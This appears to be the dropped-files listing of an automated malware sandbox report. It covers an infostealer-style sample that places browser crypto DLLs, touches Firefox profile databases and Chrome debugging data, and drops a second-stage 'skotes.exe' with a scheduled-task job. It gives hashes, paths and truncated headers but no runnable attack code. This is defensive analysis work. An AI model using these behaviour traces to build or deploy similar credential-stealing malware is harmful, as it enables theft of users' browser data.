Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: 21Installer.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1973248
Entropy (8bit):	7.95170382308828
Encrypted:	false
SSDEEP:	49152:A1t85yCgjs/XJlrig6LfarKLYoorkGNlaK1C4:1Ajsv/rigDrKxorpna3
MD5:	EE9C5875F526C3F44381BEB36B6EAA62
SHA1:	423EA51703796DEF5F3449B68C8BC62298187766
SHA-256:	CD0973917F80520E71B932AA1C2AC651794B4DA6BA5CB85DE4E8910783D35690
SHA-512:	516A491737A3983832E22659F2DF44F88D2DD172FA142BF41282C2B56D12B7AC90147B6786491A0DBB77D18C71D1AE6B24BD0236530671E866B9A9FBDD12EE86
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................0N...........@..........................`N......r....@.................................W...k.......D.....................N...............................N..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .p,.........................@...cqnnvyhp..... 3.....................@...zjdghvcx..... N.....................@....taggant.0...0N.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	819200
Entropy (8bit):	7.9788791680848865
Encrypted:	false
SSDEEP:	24576:TeF5GmH9lmQblQ8wNJDw/TElUJO2CIC2C7MkEpKH:Tc9pZQ8wrDw/TElUbCbA/a
MD5:	634A6DE3A9684285AFCEBBE040407DF4
SHA1:	E663FAD0C8C637353F74ADA7BF010D4BDAEDA5F1
SHA-256:	9FF7E9AC6E5799A293C77FC21A2C082396B9C51B264BD53E854916CD709BD2AE
SHA-512:	97A9A2C13944E8BE627D402B4723A570EA0700DCB75FDD390BBE9C74F6FC7E216CE827B9BA3E955EACA28AF0D12C6FCBB5CF7B7225295488F153BC1D2343ED6A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2............J...@.................................5vC...@... ............................._.q.s............................p...............................o...................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..8...q.......'.............@...mcmnjdbh..............'.............@...hqiwbric.............>C.............@....taggant.0......."...DC.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.380918476253192
Encrypted:	false
SSDEEP:	48:SfNaoQyDgTEQykfNaoQwQsfNaoQRQSfNaoQ00UrU0U8QH:6NnQ5TEQ7NnQwQYNnQRQ6NnQ00UrU0U/
MD5:	EFF5C0F3D672470F959F34B9A84A160E
SHA1:	48793F8C3251C9C043EC26DE2F7B2F242133F65C
SHA-256:	1856A4321DC53CEB7CF68C312927454DAC7BE5C459A0C602D6610029E6B9E842
SHA-512:	86B893B8E25D602A44605F79DBD68403EAA9EDB55B8B710D8CFDFF96C4FF27A7F84A539614C934D2D5754BBECF542963BC40D2A9CBCDA89B7E7110631B955D8B
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/9D850A1F74FA1D6295CAD6D1DBCCE9CA",.. "id": "9D850A1F74FA1D6295CAD6D1DBCCE9CA",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/9D850A1F74FA1D6295CAD6D1DBCCE9CA"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/9F1040B5A028EB6984D389C4FC63057F",.. "id": "9F1040B5A028EB6984D389C4FC63057F",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/9F1040B5A028EB6984D389C4FC63057F"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Temp\1008478001\804e4a2fb7.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	819200
Entropy (8bit):	7.9788791680848865
Encrypted:	false
SSDEEP:	24576:TeF5GmH9lmQblQ8wNJDw/TElUJO2CIC2C7MkEpKH:Tc9pZQ8wrDw/TElUbCbA/a
MD5:	634A6DE3A9684285AFCEBBE040407DF4
SHA1:	E663FAD0C8C637353F74ADA7BF010D4BDAEDA5F1
SHA-256:	9FF7E9AC6E5799A293C77FC21A2C082396B9C51B264BD53E854916CD709BD2AE
SHA-512:	97A9A2C13944E8BE627D402B4723A570EA0700DCB75FDD390BBE9C74F6FC7E216CE827B9BA3E955EACA28AF0D12C6FCBB5CF7B7225295488F153BC1D2343ED6A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2............J...@.................................5vC...@... ............................._.q.s............................p...............................o...................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..8...q.......'.............@...mcmnjdbh..............'.............@...hqiwbric.............>C.............@....taggant.0......."...DC.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsDHCFIDAKJD.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1973248
Entropy (8bit):	7.95170382308828
Encrypted:	false
SSDEEP:	49152:A1t85yCgjs/XJlrig6LfarKLYoorkGNlaK1C4:1Ajsv/rigDrKxorpna3
MD5:	EE9C5875F526C3F44381BEB36B6EAA62
SHA1:	423EA51703796DEF5F3449B68C8BC62298187766
SHA-256:	CD0973917F80520E71B932AA1C2AC651794B4DA6BA5CB85DE4E8910783D35690
SHA-512:	516A491737A3983832E22659F2DF44F88D2DD172FA142BF41282C2B56D12B7AC90147B6786491A0DBB77D18C71D1AE6B24BD0236530671E866B9A9FBDD12EE86
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................0N...........@..........................`N......r....@.................................W...k.......D.....................N...............................N..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .p,.........................@...cqnnvyhp..... 3.....................@...zjdghvcx..... N.....................@....taggant.0...0N.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsDHCFIDAKJD.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1973248
Entropy (8bit):	7.95170382308828
Encrypted:	false
SSDEEP:	49152:A1t85yCgjs/XJlrig6LfarKLYoorkGNlaK1C4:1Ajsv/rigDrKxorpna3
MD5:	EE9C5875F526C3F44381BEB36B6EAA62
SHA1:	423EA51703796DEF5F3449B68C8BC62298187766
SHA-256:	CD0973917F80520E71B932AA1C2AC651794B4DA6BA5CB85DE4E8910783D35690
SHA-512:	516A491737A3983832E22659F2DF44F88D2DD172FA142BF41282C2B56D12B7AC90147B6786491A0DBB77D18C71D1AE6B24BD0236530671E866B9A9FBDD12EE86
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................0N...........@..........................`N......r....@.................................W...k.......D.....................N...............................N..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .p,.........................@...cqnnvyhp..... 3.....................@...zjdghvcx..... N.....................@....taggant.0...0N.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsDHCFIDAKJD.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.3801320203875607
Encrypted:	false
SSDEEP:	6:eIbXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lBMzt0:euf2RKQ1CGAFAjzvYRQVBMzt0
MD5:	A0BBC85CDF724AE1C510FBE7365D7815
SHA1:	C1B3D2AC0710E0247B05036677526B75284930D7
SHA-256:	AC0452526A1225FA1E7AC83535E22EF208A56C2E660A5FB6E053FB82721BC27B
SHA-512:	35EE6089918C4185F33FEF35D319C26F967B9465BE2E1F1CD93662FF3FD88EA9D971DFB35A0E2E48B98E35048279C4AEA0843DFB0052CA6E34F7A04B2516DE26
Malicious:	false
Preview:	....<...^..A..<> l..F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................-.@3P.........................

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (792)
Category:	downloaded
Size (bytes):	797
Entropy (8bit):	5.166591470101905
Encrypted:	false
SSDEEP:	24:95xVe0YdrmBHslgT9lCuABuoB7HHHHHHHYqmffffffo:9OgKlgZ01BuSEqmffffffo
MD5:	746A407D0C3421C01DE089155437D944
SHA1:	22D8F56E4F49E665D88ADFA011FD9A6BC758BF59
SHA-256:	C0BFC33925B9CBA12BAFED7CD4191F1DF38042C04030B5517043B8A1B825B30B
SHA-512:	8955628A7FCC3DE1759D6124B21F7172C59EAE2B294D59403D784C0BC893A2F9CA543D14C43D0AC9DDEED6716284E45A7D18AA72F20E21F9F7895D5BDF90EB8C
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["san mateo county sheriff office","final jeopardy question","social security payment schedule 2025","washington wizards boston celtics","nvidia rtx 5090","sussex county nj school closings","aurora borealis forecast","nyt crossword clues"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
